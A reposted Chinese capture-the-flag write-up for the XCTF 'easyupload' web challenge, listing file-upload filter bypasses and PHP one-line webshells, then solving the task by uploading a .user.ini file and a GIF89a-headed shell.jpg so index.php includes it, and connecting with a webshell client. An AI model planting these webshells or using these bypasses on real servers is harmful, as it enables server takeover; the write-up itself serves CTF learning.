攻防世界easyupload (web新手)

这篇具有很好参考价值的文章主要介绍了攻防世界easyupload (web新手)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

XCTF - easyupload

攻防世界easyupload (web新手)
典型的文件上传,本题涉及知识点

  • 文件上传漏洞
  • .user.ini绕过

其实这个题目是文件上传漏洞中相对来说不是很常见的题目,说实话也是涉及了我的知识盲区,在此之前我对文件上传漏洞有一些总结如下,都尝试过后发现没有能用的。

文件上传漏洞前期总结

<?php eval($_POST['cmd']);?>
<?= eval($_POST[1]);?>
<script language="php">eval($_POST[1]);</script>

1. JavaScript 防御

检测发生在浏览器端(本地检测)

  1. 禁止JS
  2. 先改名后抓包最后改名改包
  3. 右键 复制图片地址
  4. 猜到链接

点击上传之后马上弹窗,

右键查看源码

  1. .jpg .png .jif 允许
  2. Php

2. Content-Type: text/php 进行检测非图片即禁止

  1. 抓包–上传
  2. 修改Content-Type,改为 image/jpeg

3. 上传名称后缀为.phtml .phps .php5 .pht

4. Apache .htaccess

  1. 创建 .htaccess
  2. 写入解析规则
  3. SetHandler application/x-httpd-php //所有文件都当作php执行
  4. AddType application/x-httpd-php .jpg //将.jpg文件当作php文件解析
  5. <FilesMatch “1.jpg”> SetHandler application/x-httpd-php //将包含1.jpg文件名
    的文件解析为php

5. windows空格绕过

- Windows系统不允许最后一个字符是空格之类的特殊符号
- 如果上传文件的最后一个字符是空格,会自动去掉

6. ::$DATA绕过

php+windows的情况下:如果文件名+“::$DATA”

  • 把::$DATA之后的数据当成文件流处理,不会检测后缀名
  • 保持"::$DATA"之前的文件名

7. 双写绕过 (phpphp)

.user.ini绕过

.user.ini中两个中的配置就是auto_prepend_fileauto_append_file。这两个配置的意思就是:我们指定一个文件(如1.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),相当于在index.php中插入一句:require(./1.jpg)。这两个设置的区别只是在于auto_prepend_file是在文件前插入,auto_append_file在文件最后插入。

利用.user.ini的前提是服务器开启了CGI或者FastCGI,并且上传文件的存储路径下有index.php可执行文件。
所以本题我们要想上传并且执行,首先上传.user.ini文件,然后上传一个图片。

攻防世界easyupload (web新手)
注意:.user.ini在mac下是直接不显示的,所以这里我们直接创建一个1.user.ini,然后进行抓包改包即可。
攻防世界easyupload (web新手)
上传过程中发现,被过滤了,肯定是文件的内容被检测到不是图片,我们将Content-Type修改为图片格式尝试一下:
攻防世界easyupload (web新手)
修改Content-Type后,发现上传成功,接下来直接上传shell.jpg即可。直接创建一个一句话木马的txt。修改后缀为.jpg,

<?=eval($_POST['cmd']);?>

攻防世界easyupload (web新手)
上传后发现依然被检测,仔细一看,文件头和content type对不起来,添加文件头尝试:
攻防世界easyupload (web新手)

GIF89a
<?=eval($_REQUEST['cmd']);?>

在这里用其他版本的一句话容易被检测,测试了好几次发现这个比较好用,此时我们需要用到另一个知识点:.user.inishell.jpg同一目录下的所有php文件都会包含shell.jpg文件。这样就很好办了,我们看看uploads文件夹下是否有php文件,再次上传一个正常图片后,发现跳转网页中有/uploads/index.php

攻防世界easyupload (web新手)

运用仪剑进行连接
攻防世界easyupload (web新手)
此时一定要注意,连接的地址为xxx/uploads/index.php
攻防世界easyupload (web新手)
在根目录下发现flag。

攻防世界easyupload (web新手)
其实在这里我们就比较好理解了,我们首先上传.user.ini的目的是本目录下所制定的文件被php文件所包含,其实相当于三个文件必须同时存在才会满足这个条件。文章来源地址https://www.toymoban.com/news/detail-414825.html

到了这里,关于攻防世界easyupload (web新手)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • [CTF/网络安全]攻防世界 easyupload 解题详析

    题目描述:一名合格的黑客眼中,所有的上传点都是开发者留下的后门 惯例,上传一句话木马 回显如下: 也就是说文件被过滤 抓包改后缀,.php1~.php9、.htaccess均被过滤(.htaccess 文件是一个用于配置 Apache Web 服务器的配置文件。它通常位于网站根目录或特定目录中,用来为该

    2024年02月08日
    浏览(59)
  • 攻防世界web题目记录(一)

    打开后获得源码开始审计 第一个php便是重定向到page页面 第二个是上传文件并保存但是首先需要session为admin 接着看第三个是要利用php弱类型 如果设置了id 并且id的浮点值不等于1并且截取id的最后一个值等于9这里可以使用php弱类型1-9绕过 接着上传文件,这里主要是包括有一个目

    2024年02月07日
    浏览(43)
  • 攻防世界-web-easytornado

    题目描述:Tornado 框架。打开链接是一个简单的界面 1. 思路分析 看到有个/flag.txt,我们点击进去看下 发现传入了两个参数,一个是filename,还有一个是filehash 看到里面的内容,提示我们真正的flag在 /fllllllllllllag中 因此,读取到 /fllllllllllllag就可以获取到真正的flag了,但是我

    2024年02月16日
    浏览(38)
  • 攻防世界-WEB-NewsCenter

    打开环境 有查询,猜测是sql注入 保存请求头到文件中 准备利用sqlmap 查找数据库 python sqlmap.py -r ./ 123.txt --dbs 查找表 python sqlmap.py -r ./1 23.txt --tables -D news 查找字段 python sqlmap.py -r ./ 123.txt --column -D news -T secret_table 显示字段信息 python sqlmap.py -r ./ 123.txt --dump -D news -T secret_table

    2024年02月09日
    浏览(37)
  • 攻防世界-WEB-Web_php_include

    打开靶机 通过代码审计可以知道,存在文件包含漏洞,并且对伪协议php://进行了过滤。 发现根目录下存在phpinfo 观察phpinfo发现如下: 这两个都为on 所以我们就可以使用data://伪协议 payload如下: 访问新连接 上面的payload就可以实现命令执行了 找了半天发现flag在fl4gisisish3r3.p

    2024年02月09日
    浏览(40)
  • 攻防世界-WEB-ics-05

    打开靶机 只有设备维护中心可以点开 点标签得到新的url page=index 想到文件包含漏洞(URL中出现path、dir、file、pag、page、archive、p、eng、语言文件等相关眼 利用php伪协议查看源码  出现一段base64源码,进行转码得出源码 ?page=php://filter/read=convert.base64-encode/resource=index.ph

    2024年02月09日
    浏览(42)
  • 【攻防世界-Web】unserialize3解题思路

    本题需要利用反序列化字符串来进行解题,根据源码提示我们需要构造code。 而__wakeup()在PHP中被称为魔术方法,在进行反序列化时,unserialize()会检查是否存在__wakeup(),若存在,该__wakeup()魔术方法会被先一步调用。对于本题,如果我们直接进行序列化,则会执行__wakeup()从而导

    2024年02月08日
    浏览(41)
  • 攻防世界-web-simple js

    题目描述:小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} ) 打开链接: 然后我们会发现不管我们输入什么密码,发现是都是这样的报错  1. 先用bp抓包看看 ,可以抓到这样的一串js脚本 看不懂没关系,我们试着将这串代码拷贝下来,运行下,将最后

    2024年02月03日
    浏览(38)
  • 攻防世界ctf web easyphp题解wp

    第一步,用科学计数法绕过 a=1e9 第二步,用php代码编写MD5碰撞脚本得到b=53724 第三步,绕过is_numeric函数 第四步,绕过is_array函数  第五步,绕过array_search函数 一定要对传值url编码 提交得到flag  

    2024年02月16日
    浏览(45)
  • Web安全攻防世界05 easyphp(江苏工匠杯)

    题目是这个样子的: 发现自己编辑的东西有一部分没有被发出来,怪不得阅读量低到可怜...现在重新补上一些内容,解题过程很罗嗦,对小白依然友好~ 按照惯例,把源码贴在这里逐行分析一下~ 解题思路如下: 整个题目就是单纯地在考验php语法,并且每个变量输错了都有不同

    2024年02月13日
    浏览(48)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包